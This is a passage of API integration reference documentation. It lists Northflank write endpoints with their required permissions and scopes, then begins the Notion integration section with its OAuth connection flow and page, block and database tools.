/api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}/restart. Scopes: project:harnesses:general:update. northflank_post_v1_projects_by_projectid_harnesses_by_harnessid_resume (write) — Resume harness via POST /v1/projects/{projectId}/harnesses/{harnessId}/resume. Northflank permission required: Project > Harnesses > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}/resume. Scopes: project:harnesses:general:update. northflank_post_v1_projects_by_projectid_jobs (write) — Create job via POST /v1/projects/{projectId}/jobs. Northflank permission required: Project > Jobs > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/jobs. Scopes: project:jobs:general:create. northflank_post_v1_projects_by_projectid_jobs_by_jobid_build (write) — Start job build via POST /v1/projects/{projectId}/jobs/{jobId}/build. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_build_arguments (write) — Edit job build arguments via POST /v1/projects/{projectId}/jobs/{jobId}/build-arguments. Northflank permission required: Project > Secrets > Jobs > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-arguments. Scopes: project:secrets:jobs:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_build_options (write) — Update job build options via POST /v1/projects/{projectId}/jobs/{jobId}/build-options. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-options. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_build_source (write) — Update job build source via POST /v1/projects/{projectId}/jobs/{jobId}/build-source. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-source. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_deployment (write) — Update job deployment via POST /v1/projects/{projectId}/jobs/{jobId}/deployment. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/deployment. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_health_checks (write) — Update job health checks via POST /v1/projects/{projectId}/jobs/{jobId}/health-checks. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/health-checks. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_pause (write) — Pause job via POST /v1/projects/{projectId}/jobs/{jobId}/pause. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/pause. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_resume (write) — Resume job via POST /v1/projects/{projectId}/jobs/{jobId}/resume. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/resume. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_runs (write) — Run job via POST /v1/projects/{projectId}/jobs/{jobId}/runs. Northflank permission required: Project > Jobs > General > Run Job. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runs. Scopes: project:jobs:general:run-job. northflank_post_v1_projects_by_projectid_jobs_by_jobid_runtime_environment (write) — Edit job runtime environment via POST /v1/projects/{projectId}/jobs/{jobId}/runtime-environment. Northflank permission required: Project > Secrets > Jobs > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runtime-environment. Scopes: project:secrets:jobs:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_scale (write) — Scale job via POST /v1/projects/{projectId}/jobs/{jobId}/scale. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/scale. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_settings (write) — Update job settings via POST /v1/projects/{projectId}/jobs/{jobId}/settings. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/settings. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_by_jobid_suspend (write) — Suspend job via POST /v1/projects/{projectId}/jobs/{jobId}/suspend. Northflank permission required: Project > Jobs > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/suspend. Scopes: project:jobs:general:update. northflank_post_v1_projects_by_projectid_jobs_cron (write) — Create cron job via POST /v1/projects/{projectId}/jobs/cron. Northflank permission required: Project > Jobs > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/jobs/cron. Scopes: project:jobs:general:create. northflank_post_v1_projects_by_projectid_jobs_manual (write) — Create manual job via POST /v1/projects/{projectId}/jobs/manual. Northflank permission required: Project > Jobs > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/jobs/manual. Scopes: project:jobs:general:create. northflank_post_v1_projects_by_projectid_llm_model_deployments (write) — Create ai model via POST /v1/projects/{projectId}/llm-model-deployments. Northflank permission required: Project > AiModels > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/llm-model-deployments. Scopes: project:aimodels:general:create. northflank_post_v1_projects_by_projectid_llm_model_deployments_by_llmmodeldeploymentid (write) — Update ai model via POST /v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Northflank permission required: Project > AiModels > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Scopes: project:aimodels:general:update. northflank_post_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs (write) — Update preview template via POST /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs. Northflank permission required: Account > Templates > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs. Scopes: account:templates:general:create. northflank_post_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs_runs (write) — Run preview environment via POST /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs. Northflank permission required: Account > Templates > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs. Scopes: account:templates:general:create. northflank_post_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage (write) — Update release flow via POST /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}. Northflank permission required: Project > Pipelines > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}. Scopes: project:pipelines:general:update. northflank_post_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage_runs (write) — Run release flow via POST /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs. Northflank permission required: Project > Pipelines > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs. Scopes: project:pipelines:general:update. northflank_post_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage_runs_by_runid_abort (write) — Abort release flow run via POST /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs/{runId}/abort. Northflank permission required: Project > Pipelines > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs/{runId}/abort. Scopes: project:pipelines:general:update. northflank_post_v1_projects_by_projectid_preview_blueprints (write) — Create preview blueprint via POST /v1/projects/{projectId}/preview-blueprints. Northflank permission required: Project > PreviewBlueprints > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints. Scopes: project:previewblueprints:general:create. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid (write) — Update preview blueprint via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Northflank permission required: Project > PreviewBlueprints > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Scopes: project:previewblueprints:general:update. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_previews_by_previewid_pause (write) — Pause preview environment via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/pause. Northflank permission required: Project > PipelinesV2 > Previews > Pause. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/pause. Scopes: project:pipelinesv2:previews:pause. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_previews_by_previewid_reset (write) — Reset preview environment expiry via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/reset. Northflank permission required: Project > PreviewBlueprints > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/reset. Scopes: project:previewblueprints:general:update. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_previews_by_previewid_resume (write) — Resume preview environment via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/resume. Northflank permission required: Project > PipelinesV2 > Previews > Resume. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}/resume. Scopes: project:pipelinesv2:previews:resume. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_runs (write) — Run preview blueprint via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs. Northflank permission required: Project > PreviewBlueprints > Runs > Start. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs. Scopes: project:previewblueprints:runs:start. northflank_post_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_runs_by_runid_abort (write) — Abort preview blueprint run via POST /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs/{runId}/abort. Northflank permission required: Project > PreviewBlueprints > Runs > Abort. POST /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs/{runId}/abort. Scopes: project:previewblueprints:runs:abort. northflank_post_v1_projects_by_projectid_secrets (write) — Create project secret via POST /v1/projects/{projectId}/secrets. Northflank permission required: Project > Secrets > SecretGroups > Create. POST /api/v1/northflank/v1/projects/{projectId}/secrets. Scopes: project:secrets:secretgroups:create. northflank_post_v1_projects_by_projectid_secrets_by_secretid (write) — Update project secret via POST /v1/projects/{projectId}/secrets/{secretId}. Northflank documents no required permission for it. POST /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}. Scopes: none. northflank_post_v1_projects_by_projectid_secrets_by_secretid_addons_by_addonid (write) — Update project secret addon link via POST /v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Northflank documents no required permission for it. POST /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Scopes: none. northflank_post_v1_projects_by_projectid_services_build (write) — Create build service via POST /v1/projects/{projectId}/services/build. Northflank permission required: Project > Services > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/services/build. Scopes: project:services:general:create. northflank_post_v1_projects_by_projectid_services_by_serviceid_build (write) — Start service build via POST /v1/projects/{projectId}/services/{serviceId}/build. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_build_arguments (write) — Edit service build arguments via POST /v1/projects/{projectId}/services/{serviceId}/build-arguments. Northflank permission required: Project > Secrets > Services > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-arguments. Scopes: project:secrets:services:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_build_options (write) — Update service build options via POST /v1/projects/{projectId}/services/{serviceId}/build-options. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-options. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_build_source (write) — Update service build source via POST /v1/projects/{projectId}/services/{serviceId}/build-source. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-source. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_deployment (write) — Update service deployment via POST /v1/projects/{projectId}/services/{serviceId}/deployment. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/deployment. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_health_checks (write) — Update service health checks via POST /v1/projects/{projectId}/services/{serviceId}/health-checks. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/health-checks. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_pause (write) — Pause service via POST /v1/projects/{projectId}/services/{serviceId}/pause. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/pause. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_ports (write) — Update service ports via POST /v1/projects/{projectId}/services/{serviceId}/ports. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/ports. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_restart (write) — Restart service via POST /v1/projects/{projectId}/services/{serviceId}/restart. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/restart. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_resume (write) — Resume service via POST /v1/projects/{projectId}/services/{serviceId}/resume. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/resume. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_rollout_configuration (write) — Update service rollout configuration via POST /v1/projects/{projectId}/services/{serviceId}/rollout/configuration. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/rollout/configuration. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_rollout_promote (write) — Promote service rollout via POST /v1/projects/{projectId}/services/{serviceId}/rollout/promote. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/rollout/promote. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_rollout_rollback (write) — Roll back service rollout via POST /v1/projects/{projectId}/services/{serviceId}/rollout/rollback. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/rollout/rollback. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_runtime_environment (write) — Edit service runtime environment via POST /v1/projects/{projectId}/services/{serviceId}/runtime-environment. Northflank permission required: Project > Secrets > Services > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/runtime-environment. Scopes: project:secrets:services:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_scale (write) — Scale service via POST /v1/projects/{projectId}/services/{serviceId}/scale. Northflank permission required: Project > Services > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/scale. Scopes: project:services:general:update. northflank_post_v1_projects_by_projectid_services_by_serviceid_snapshots (write) — Create container snapshot via POST /v1/projects/{projectId}/services/{serviceId}/snapshots. Northflank permission required: Account > Platform > ContainerSnapshots > Create. POST /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/snapshots. Scopes: account:platform:containersnapshots:create. northflank_post_v1_projects_by_projectid_services_combined (write) — Create combined service via POST /v1/projects/{projectId}/services/combined. Northflank permission required: Project > Services > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/services/combined. Scopes: project:services:general:create. northflank_post_v1_projects_by_projectid_services_deployment (write) — Create deployment service via POST /v1/projects/{projectId}/services/deployment. Northflank permission required: Project > Services > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/services/deployment. Scopes: project:services:general:create. northflank_post_v1_projects_by_projectid_volumes (write) — Create volume via POST /v1/projects/{projectId}/volumes. Northflank permission required: Project > Volumes > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/volumes. Scopes: project:volumes:general:create. northflank_post_v1_projects_by_projectid_volumes_by_volumeid (write) — Update volume via POST /v1/projects/{projectId}/volumes/{volumeId}. Northflank permission required: Project > Volumes > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}. Scopes: project:volumes:general:update. northflank_post_v1_projects_by_projectid_volumes_by_volumeid_attach (write) — Attach volume via POST /v1/projects/{projectId}/volumes/{volumeId}/attach. Northflank permission required: Project > Volumes > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/attach. Scopes: project:volumes:general:update. northflank_post_v1_projects_by_projectid_volumes_by_volumeid_backup_schedules (write) — Create volume backup schedule via POST /v1/projects/{projectId}/volumes/{volumeId}/backup-schedules. Northflank permission required: Project > Volumes > Backups > Create. POST /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backup-schedules. Scopes: project:volumes:backups:create. northflank_post_v1_projects_by_projectid_volumes_by_volumeid_backups (write) — Backup volume via POST /v1/projects/{projectId}/volumes/{volumeId}/backups. Northflank permission required: Project > Volumes > Backups > Create. POST /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backups. Scopes: project:volumes:backups:create. northflank_post_v1_projects_by_projectid_volumes_by_volumeid_detach (write) — Detach volume via POST /v1/projects/{projectId}/volumes/{volumeId}/detach. Northflank permission required: Project > Volumes > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/detach. Scopes: project:volumes:general:update. northflank_post_v1_projects_by_projectid_workflows (write) — Create workflow via POST /v1/projects/{projectId}/workflows. Northflank permission required: Project > Workflows > General > Create. POST /api/v1/northflank/v1/projects/{projectId}/workflows. Scopes: project:workflows:general:create. northflank_post_v1_projects_by_projectid_workflows_by_workflowid (write) — Update workflow via POST /v1/projects/{projectId}/workflows/{workflowId}. Northflank permission required: Project > Workflows > General > Update. POST /api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}. Scopes: project:workflows:general:update. northflank_post_v1_projects_by_projectid_workflows_by_workflowid_runs (write) — Run workflow via POST /v1/projects/{projectId}/workflows/{workflowId}/runs. Northflank permission required: Project > Workflows > Runs > Start. POST /api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}/runs. Scopes: project:workflows:runs:start. northflank_post_v1_projects_by_projectid_workflows_by_workflowid_runs_by_runid_abort (write) — Abort workflow run via POST /v1/projects/{projectId}/workflows/{workflowId}/runs/{runId}/abort. Northflank permission required: Project > Workflows > Runs > Abort. POST /api/v1/northflank/v1/projects/{projectId}/workflows/{workflowId}/runs/{runId}/abort. Scopes: project:workflows:runs:abort. northflank_post_v1_secrets (write) — Create global secret via POST /v1/secrets. Northflank permission required: Account > GlobalSecrets > Secrets > Create. POST /api/v1/northflank/v1/secrets. Scopes: account:globalsecrets:secrets:create. northflank_post_v1_secrets_by_secretid_trigger_dependents (write) — Trigger global secret dependents via POST /v1/secrets/{secretId}/trigger-dependents. Northflank permission required: Account > Templates > General > Run. POST /api/v1/northflank/v1/secrets/{secretId}/trigger-dependents. Scopes: account:templates:general:run. northflank_post_v1_tags (write) — Add tag via POST /v1/tags. Northflank permission required: Account > Platform > Tags > Create. POST /api/v1/northflank/v1/tags. Scopes: account:platform:tags:create. northflank_post_v1_teams (write) — Create team via POST /v1/teams. Northflank permission required: Organisation > Team > General > Create. POST /api/v1/northflank/v1/teams. Scopes: organisation:team:general:create. northflank_post_v1_teams_by_teamid_members (write) — Invite team member via POST /v1/teams/{teamId}/members. Northflank permission required: Account > Admin > Members > Manage. POST /api/v1/northflank/v1/teams/{teamId}/members. Scopes: account:admin:members:manage. northflank_post_v1_teams_by_teamid_roles (write) — Create team role via POST /v1/teams/{teamId}/roles. Northflank permission required: Account > Admin > Roles > Manage. POST /api/v1/northflank/v1/teams/{teamId}/roles. Scopes: account:admin:roles:manage. northflank_post_v1_teams_by_teamid_roles_by_roleid_members (write) — Add member to team role via POST /v1/teams/{teamId}/roles/{roleId}/members. Northflank permission required: Account > Admin > Roles > Manage. POST /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}/members. Scopes: account:admin:roles:manage. northflank_post_v1_templates (write) — Create template via POST /v1/templates. Northflank permission required: Account > Templates > General > Create. POST /api/v1/northflank/v1/templates. Scopes: account:templates:general:create. northflank_post_v1_templates_by_templateid (write) — Update template via POST /v1/templates/{templateId}. Northflank permission required: Account > Templates > General > Update. POST /api/v1/northflank/v1/templates/{templateId}. Scopes: account:templates:general:update. northflank_post_v1_templates_by_templateid_opentofu_import_state (write) — Import opentofu state via POST /v1/templates/{templateId}/opentofu/import-state. Northflank permission required: Account > Templates > General > Update. POST /api/v1/northflank/v1/templates/{templateId}/opentofu/import-state. Scopes: account:templates:general:update. northflank_post_v1_templates_by_templateid_runs (write) — Run template via POST /v1/templates/{templateId}/runs. Northflank permission required: Account > Templates > General > Run. POST /api/v1/northflank/v1/templates/{templateId}/runs. Scopes: account:templates:general:run. northflank_post_v1_templates_by_templateid_runs_by_templaterunid_abort (write) — Abort template run via POST /v1/templates/{templateId}/runs/{templateRunId}/abort. Northflank permission required: Account > Templates > Runs > Abort. POST /api/v1/northflank/v1/templates/{templateId}/runs/{templateRunId}/abort. Scopes: account:templates:runs:abort. northflank_post_v1_tokens_by_tokenid_keys (write) — Rotate a key on an api token via POST /v1/tokens/{tokenId}/keys. Northflank permission required: Account > Admin > ApiTokens > Update. Rotating a key EXPIRES the token's existing keys (immediately unless otherKeysExpiresAt is set). If the rotated token is the one this Agentic Fabriq connection holds, the connection stops working until a new token is pasted. POST /api/v1/northflank/v1/tokens/{tokenId}/keys. Scopes: account:admin:apitokens:update. northflank_post_v1_workload_identities (write) — Create workload identity via POST /v1/workload-identities. Northflank permission required: Account > Cloud > WorkloadIdentities > Create. POST /api/v1/northflank/v1/workload-identities. Scopes: account:cloud:workloadidentities:create. northflank_post_v1_workload_identities_by_workloadidentityid_install (write) — Install workload identity via POST /v1/workload-identities/{workloadIdentityId}/install. Northflank permission required: Account > Cloud > WorkloadIdentities > Update. POST /api/v1/northflank/v1/workload-identities/{workloadIdentityId}/install. Scopes: account:cloud:workloadidentities:update. northflank_put_v1_cloud_providers_clusters (write) — Put cluster via PUT /v1/cloud-providers/clusters. Northflank permission required: Account > Cloud > Clusters > Create. PUT /api/v1/northflank/v1/cloud-providers/clusters. Scopes: account:cloud:clusters:create. northflank_put_v1_cloud_providers_integrations (write) — Put integration via PUT /v1/cloud-providers/integrations. Northflank permission required: Account > Cloud > Integrations > Create. PUT /api/v1/northflank/v1/cloud-providers/integrations. Scopes: account:cloud:integrations:create. northflank_put_v1_domains_by_domain_subdomains (write) — Put subdomain via PUT /v1/domains/{domain}/subdomains. Northflank permission required: Account > Networking > Subdomains > Update. PUT /api/v1/northflank/v1/domains/{domain}/subdomains. Scopes: account:networking:subdomains:update. northflank_put_v1_egress_ips (write) — Put egress ip via PUT /v1/egress-ips. Northflank permission required: Account > Networking > EgressIps > Create. PUT /api/v1/northflank/v1/egress-ips. Scopes: account:networking:egressips:create. northflank_put_v1_encryption_configurations_by_encryptionconfigurationid_options (write) — Update encryption configuration options via PUT /v1/encryption/configurations/{encryptionConfigurationId}/options. Northflank permission required: Account > Admin > Encryption > Manage. PUT /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}/options. Scopes: account:admin:encryption:manage. northflank_put_v1_encryption_configurations_by_encryptionconfigurationid_settings (write) — Update encryption configuration settings via PUT /v1/encryption/configurations/{encryptionConfigurationId}/settings. Northflank permission required: Account > Admin > Encryption > Manage. PUT /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}/settings. Scopes: account:admin:encryption:manage. northflank_put_v1_gradual_rollout_strategies (write) — Create or update gradual rollout strategy via PUT /v1/gradual-rollout-strategies. Northflank permission required: Account > Platform > GradualRollouts > Create. PUT /api/v1/northflank/v1/gradual-rollout-strategies. Scopes: account:platform:gradualrollouts:create. northflank_put_v1_integrations_ssh_identities_by_identityid (write) — Create or update ssh identity via PUT /v1/integrations/ssh-identities/{identityId}. Northflank permission required: Account > Platform > Ssh > Update. PUT /api/v1/northflank/v1/integrations/ssh-identities/{identityId}. Scopes: account:platform:ssh:update. northflank_put_v1_load_balancers (write) — Put load balancer via PUT /v1/load-balancers. Northflank permission required: Account > Networking > LoadBalancers > Create. PUT /api/v1/northflank/v1/load-balancers. Scopes: account:networking:loadbalancers:create. northflank_put_v1_org_roles (write) — Create or update org role via PUT /v1/org-roles. Northflank permission required: Organisation > Admin > Roles > Manage. PUT /api/v1/northflank/v1/org-roles. Scopes: organisation:admin:roles:manage. northflank_put_v1_projects (write) — Create or update project via PUT /v1/projects. Northflank permission required: Project > Projects > Manage > Create. PUT /api/v1/northflank/v1/projects. Scopes: project:projects:manage:create. northflank_put_v1_projects_by_projectid_addons (write) — Put addon via PUT /v1/projects/{projectId}/addons. Northflank permission required: Project > Addons > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/addons. Scopes: project:addons:general:create. northflank_put_v1_projects_by_projectid_harnesses (write) — Put harness via PUT /v1/projects/{projectId}/harnesses. Northflank permission required: Project > Harnesses > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/harnesses. Scopes: project:harnesses:general:create. northflank_put_v1_projects_by_projectid_jobs (write) — Put job via PUT /v1/projects/{projectId}/jobs. Northflank permission required: Project > Jobs > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/jobs. Scopes: project:jobs:general:create. northflank_put_v1_projects_by_projectid_jobs_cron (write) — Put cron job via PUT /v1/projects/{projectId}/jobs/cron. Northflank permission required: Project > Jobs > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/jobs/cron. Scopes: project:jobs:general:create. northflank_put_v1_projects_by_projectid_jobs_manual (write) — Put manual job via PUT /v1/projects/{projectId}/jobs/manual. Northflank permission required: Project > Jobs > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/jobs/manual. Scopes: project:jobs:general:create. northflank_put_v1_projects_by_projectid_secrets (write) — Put project secret via PUT /v1/projects/{projectId}/secrets. Northflank permission required: Project > Secrets > SecretGroups > Create. PUT /api/v1/northflank/v1/projects/{projectId}/secrets. Scopes: project:secrets:secretgroups:create. northflank_put_v1_projects_by_projectid_services_build (write) — Put build service via PUT /v1/projects/{projectId}/services/build. Northflank permission required: Project > Services > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/services/build. Scopes: project:services:general:create. northflank_put_v1_projects_by_projectid_services_combined (write) — Put combined service via PUT /v1/projects/{projectId}/services/combined. Northflank permission required: Project > Services > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/services/combined. Scopes: project:services:general:create. northflank_put_v1_projects_by_projectid_services_deployment (write) — Put deployment service via PUT /v1/projects/{projectId}/services/deployment. Northflank permission required: Project > Services > General > Create. PUT /api/v1/northflank/v1/projects/{projectId}/services/deployment. Scopes: project:services:general:create. northflank_put_v1_secrets (write) — Put global secret via PUT /v1/secrets. Northflank permission required: Account > GlobalSecrets > Secrets > Create. PUT /api/v1/northflank/v1/secrets. Scopes: account:globalsecrets:secrets:create. northflank_put_v1_tags (write) — Put tag via PUT /v1/tags. Northflank permission required: Account > Platform > Tags > Update. PUT /api/v1/northflank/v1/tags. Scopes: account:platform:tags:update. northflank_put_v1_teams_by_teamid_roles (write) — Create or update role via PUT /v1/teams/{teamId}/roles. Northflank permission required: Account > Admin > Roles > Manage. PUT /api/v1/northflank/v1/teams/{teamId}/roles. Scopes: account:admin:roles:manage. ================================================================================ ## Notion URL: https://www.agenticfabriq.com/integrations/notion Section: Integrated Tools Notion — 16 MCP tools Provider key: notion. Scopes: insert_content, read_content, read_user_info, update_content. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. notion_append_block_children (write, destructive) — Append new content blocks to a Notion page or block. POST /api/v1/tools/notion/blocks/{block_id}/children. Scopes: insert_content. notion_archive_page (write, destructive) — Archive a Notion page (soft delete). POST /api/v1/tools/notion/pages/{page_id}/archive. Scopes: update_content. notion_create_database (write, destructive) — Create a new Notion database as a child of an existing page. POST /api/v1/tools/notion/databases. Scopes: insert_content. notion_create_page (write, destructive) — Create a new Notion page. Must specify either parent_page_id (to create as child of a page) or database_id (to create as entry in a database). POST /api/v1/tools/notion/pages. Scopes: insert_content. notion_get_block (read) — Get a specific Notion block by ID. GET /api/v1/tools/notion/blocks/{block_id}. Scopes: read_content. notion_get_block_children (read) — Get children blocks of a Notion block or page. GET /api/v1/tools/notion/blocks/{block_id}/children. Scopes: read_content. notion_get_connection_info (read) — Get Notion connection information including workspace name and connection status. GET /api/v1/tools/notion/connection. Scopes: none. notion_get_database (read) — Get a specific Notion database by ID. Returns database schema and properties. GET /api/v1/tools/notion/databases/{database_id}. Scopes: read_content. notion_get_page (read) — Get a specific Notion page by ID. Returns page properties and metadata. GET /api/v1/tools/notion/pages/{page_id}. Scopes: read_content. notion_get_user (read) — Get information about a specific Notion user. GET /api/v1/tools/notion/users/{user_id}. Scopes: read_user_info. notion_list_databases (read) — List Notion databases the integration has access to. GET /api/v1/tools/notion/databases. Scopes: read_content. notion_list_pages (read) — List recent Notion pages the integration has access to. GET /api/v1/tools/notion/pages. Scopes: read_content. notion_list_users (read) — List users in the Notion workspace. GET /api/v1/tools/notion/users. Scopes: 